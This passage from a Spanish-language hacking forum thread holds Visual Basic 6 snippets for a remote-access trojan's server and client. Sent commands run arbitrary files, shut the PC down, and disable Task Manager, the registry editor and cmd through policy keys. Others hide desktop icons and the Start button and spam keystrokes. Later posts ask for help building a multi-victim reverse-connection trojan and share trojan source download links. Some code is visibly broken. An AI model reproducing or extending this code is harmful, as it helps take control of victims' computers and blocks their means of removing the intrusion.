lpstrReturnString As String, ByVal uReturnLength As Long, _
ByVal hwndCallback As Long) As Long

----en el server---

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "trok" then
Dim Res As Long, ReturnString As String * 127
Res = mciSendString("Set CDAudio Door Open", ReturnString, 127, 0)
end if
end sub

---en el cliente----

Private Sub Command1_Click()
ws.senddata "trok"
End Sub


Código [Seleccionar] Expandir

-------------------------blokear el taskmgr.exe(cttrl + alt +supr)-------------------------

agregar 1 comand button en el server i 1 en el cliente

----en el server-----

Private Sub Command1_Click()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskmgr", "1"
End Sub

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim Fso As Object
On Error GoTo men

Set Fso = CreateObject("wscript.shell"

Fso.RegWrite Folder, Value, "REG_DWORD"


Set Fso = Nothing


Exit Sub
'error
men:
MsgBox Err.Description: Resume Next
End Sub

rivate Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "trtk" then call Command1_Click
end sub

----en el cliente----
Private Sub Command1_Click()
ws.senddata " trtk"
end sub

Código [Seleccionar] Expandir

----------------------------------------apagar el pc------------------

agregar un commandbutton en el cliente
----en el server---
Private Sub ws_DataArrival(ByVal bytesTotal As Long)

Dim datos As String
Dim sn As String
sn = "shutdown"
ws.GetData datos
If datos = "lol" Then Shell (sn & " -s -t 00"
----en el cliente----
Private Sub Command1_Click()
ws.senddata "lol"
End Sub

Código [Seleccionar] Expandir

---------------------ejecutar un archivo----------------

agregar un textbox en el cliente i un comandbutton en el cliente

----en el server----

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
If Left(datos, 4) = "ejec" Then
datos = Right(datos, Len(datos) - 4)
Shell (datos)
End If
end sub

---en el cliente---

Private Sub Form_Load()
text1.text = "aka va el archivo a ejecutar"
End Sub
Private Sub Command1_Click()
ws.senddata "ejec" & text1.text
End Sub

Código [Seleccionar] Expandir

-----------------------------------no dejar abrir ventanas-----------------------------------

agrega un modulo i un timer en el server i un commandbutton en el kliente

----en el modulo del server---

Public Const VK_LWIN = &H5B
Public Const KEYEVENTF_KEYUP = &H2

Public Declare Sub keybd_event Lib "user32" _
(ByVal bVk As Byte, ByVal bScan As Byte, _
ByVal dwFlags As Long, ByVal dwExtraInfo As Long)

----en el server----

Private Sub Form_Load()
timer1.enabled = false
End Sub
Private Sub Timer1_Timer()
Call keybd_event(VK_LWIN, 0, 0, 0)
Call keybd_event(77, 0, 0, 0)
Call keybd_event(VK_LWIN, 0, KEYEVENTF_KEYUP, 0)
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "jajaja" then
timer1.interval = 100
timer1.enabled = true
end sub
--en el cliente----
Private Sub Command1_Click()
ws.senddata "jajaja"
End Sub[/code]

Código [Seleccionar] Expandir

------------------------despareser iconos------------------

agregar un commandbutton en el cliente

-----en el server---

Private Declare Function FindWindowEx Lib "user32" _
Alias "FindWindowExA" (ByVal hWnd1 As Long, _
ByVal hWnd2 As Long, ByVal lpsz1 As String, _
ByVal lpsz2 As String) As Long


Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, _
ByVal nCmdShow As Long) As Long

Const SW_SHOW = 5
Const SW_HIDE = 0



private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "topo" then
Dim Ret As Long

On Error Resume Next

Ret = FindWindowEx(0&, 0&, "Progman", vbNullString)

ShowWindow Ret, SW_HIDE
end if
End Sub

------en el cliente -----

Private Sub Command1_Click()
ws.senddata "topo"
end sub


Código [Seleccionar] Expandir

---------------------desaparecer boton de inicio (signo de windows)-----------------

agregar un command button en el cliente

--------------------en el server---------
Const WS_CHILD = &H40000000
Const WM_LBUTTONDOWN = &H201
Const WM_LBUTTONUP = &H202
Const SW_HIDE = 0
Const SW_NORMAL = 1


Private Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type


Private Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As RECT) As Long
Private Declare Function CreateWindowEx Lib "user32" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByValhMenu As Long, ByVal hInstance As Long, lpParam As Any) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long

Dim tWnd As Long, bWnd As Long, ncWnd As Long

Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "paza" then
Dim R As RECT

tWnd = FindWindow("Shell_TrayWnd", vbNullString)
bWnd = FindWindowEx(tWnd, ByVal 0&, "BUTTON", vbNullString)

GetWindowRect bWnd, R

ShowWindow ncWnd, SW_NORMAL

ShowWindow bWnd, SW_HIDE
end if

----------en el cliente-------------

Private Sub Command1_Click()
ws.senddata "paza"
End Sub

Código [Seleccionar] Expandir

-----------------------deabilitar el regedit------------------

agregar un command button en el cliente

-----------en el server------------------

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim xdf As Object
Set xdf = CreateObject("wscript.shell"
xdf.RegWrite Folder, Value, "REG_DWORD"
Set Fxdf = Nothing
Exit Sub
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "regeditc" then
CreateIntegerKey "HKEY_CURRENT_USER\software\microsoft\windows\curr entversion\policies\system\DisableRegistryTools", "1"
end if
end sub

----------en el cliente----------

Private Sub Command1_Click()
ws.senddata = "regeditc"
End Sub

Código [Seleccionar] Expandir

---------desabilitar el cmd (trae problemas con algunos codes que ocupan el cmd)----

agregar un commandbutton en el cliente

-----en el server-----

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim Fso As Object
Set Fso = CreateObject("wscript.shell"
Fso.RegWrite Folder, Value, "REG_DWORD"
Set Fso = Nothing
Exit Sub
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "cmdc" then
CreateIntegerKey "HKEY_CURRENT_USER\Software\Policies\Microsoft\Win dows\System\DisableCMD", "1"
end if
end sub

----en el cliente----

Private Sub Command1_Click()
ws.senddata = "cmdc"
End Sub
-------activar cmd--------------

agregar un commandbutton en el cliente

-----en el server-----

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim Fso As Object
Set Fso = CreateObject("wscript.shell"
Fso.RegWrite Folder, Value, "REG_DWORD"
Set Fso = Nothing
Exit Sub
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "cmdb" then
CreateIntegerKey "HKEY_CURRENT_USER\Software\Policies\Microsoft\Win dows\System\DisableCMD", "0"
end if
end sub
----en el cliente----
Private Sub Command1_Click()
ws.senddata = "cmdb"
End Sub

Código [Seleccionar] Expandir

----------activar regedit------

agregar un command button en el cliente

-----------en el server------------------

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim xdf As Object
Set xdf = CreateObject("wscript.shell"
xdf.RegWrite Folder, Value, "REG_DWORD"
Set Fxdf = Nothing
Exit Sub
End Sub
Private Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "regedito" then
CreateIntegerKey "HKEY_CURRENT_USER\software\microsoft\windows\curr entversion\policies\system\DisableRegistryTools", "0"
end if
end sub

----------en el cliente----------

Private Sub Command1_Click()
ws.senddata = "regedito"
End Sub
-----activar taskmgr.exe-----
agregar 1 comand button en el server i 1 en el cliente
----en el server-----
Private Sub Command1_Click()
CreateIntegerKey "HKEY_CURRENT_USER\Software\Microsoft\Windows\Curr entVersion\Policies\System\DisableTaskmgr", "0"
End Sub

Private Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim Fso As Object
On Error GoTo men

Set Fso = CreateObject("wscript.shell"

Fso.RegWrite Folder, Value, "REG_DWORD"


Set Fso = Nothing


Exit Sub
'error
men:
MsgBox Err.Description: Resume Next
End Sub

rivate Sub ws_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
ws.GetData datos
if datos = "trtj" then call Command1_Click
end sub

----en el cliente----

Private Sub Command1_Click()
ws.senddata " trtj"
end sub
Responder Citando


P: En algunos codes esta puesto WS en ves de Winsock1 , xD espero que lo disfruten y dejen cometarios!!

Haber amigo tengo otra de mis superudas ya que miren tengo un troyano de conexión inversa multiconexión pero tiene un problema ya que no se como hacer para que cuano haya más de una persona conectada al enviar las opciones ej "enviar mensaje solo se las envie con el que yo este conectado en ese momento ejemplo si estoy conectado con el primero que le envie solo las opciones al primero y no a todos..Miren lo que me pasa aqui



Y lo que yo quiero es que cuano yo le de a ese boton conectar me envie al form donde estan las opciones pero que cuano este en ese form como puedo hacer para enviarsela con el que estoy conectado en ese momento en este caso el primero...No se si hay alguna manera, quizas desconectano a los demas en ese momento u otra cosa por eso le pregunto a los que saben para ver si me aclaran esta duda porfa! ok y Gracias de antemano!!

Ah y tambien como hacer para que cuando yo le de clic en conectar solo se conecte con esa persona y con nadie más xD

Hola amigos de nuevo...Mi duda esta ves es, miren di yo tengo un form1 de principal con 1 winsock1  y estoy en un form2 secundario como yo puedo hacer para enviarle opciones a este winsock1 para que el mismo las envie al server!!!

Hola amigos bueno hoy les traigo una pregunta muy sencilla pero que no se responder y espero qu ustedes me la aclaren bueno al lio..

Como yo puedo hacer para reiniciar y cerrar un server remoto mediante el cliente..
Yo quiero que cuano yo le de clic derecho encima del cliente marcano al server que este conectado me lo reinicie y otra opcion que lo cierre...Ok Buano Gracias!!!!!!!!

hola amigos tengo una duda...La duda es que como yo podria hacer para que cuando un server se conecte al cliente del troyano este me reconozca la bandera, es decir ya me reconoce el pais pero que me reconozca la bandera tambien y me la ponga en el listview al lado del pais como en el bifrost o el painrat!!..Ok Gracias!!!!!!

Hola amigos necesito que me aclaren una duda..Bueno la cosa es que yo quiero que en el editor de menu cuando yo de clic derecho me salgan las opciones pero que en las opciones cada una tenga un icono..No se hacer esto ya que en el editor de menu no da esa opcion no se si me podran ayudar pero yo uqisiera que fuera algo como esto:




Gracias de antemano!!! xD

Bueno amigos aqui les dejo el source de un troyano de conexión inversa simple es solo para que miren el code y hagan lo que quieran con el pero el mismo no trae implementadas aplis solo estan puesto los botones de las supuestas apis...Es solo para que vean como es un troyano de conexión inversa...Si quieren desde este mismo pueden hacer un buen troyano solo tienen que implementar APIS ..Bueno eso ya se los dejo a ustedes....Saludos dejen comentarios!!

Gracias a los tutoriales que han presentado en este foro eh podido hacer este troyano ahora solo hay que implementarle cosas!!

PD: Dentro del archivo comprimido hay una carpeta que es la que contiene las ocx para que puedan aplicar el skin de el form! solo tienen que agregarla y ya pueden abrirlo!!!!


Aqui unos screenhots!!:





Lo pueden descargar aqui:  http://uploadsourcecode.com.ar/d/YZNMBiE5IZVc8Ex2WOk1MbHDePYhnt6Z

Vale amigos lo eh subido tambien a rapidshare.com aqui les dejo el link:  http://rapidshare.com/files/144082811/Completado_100_.zip.html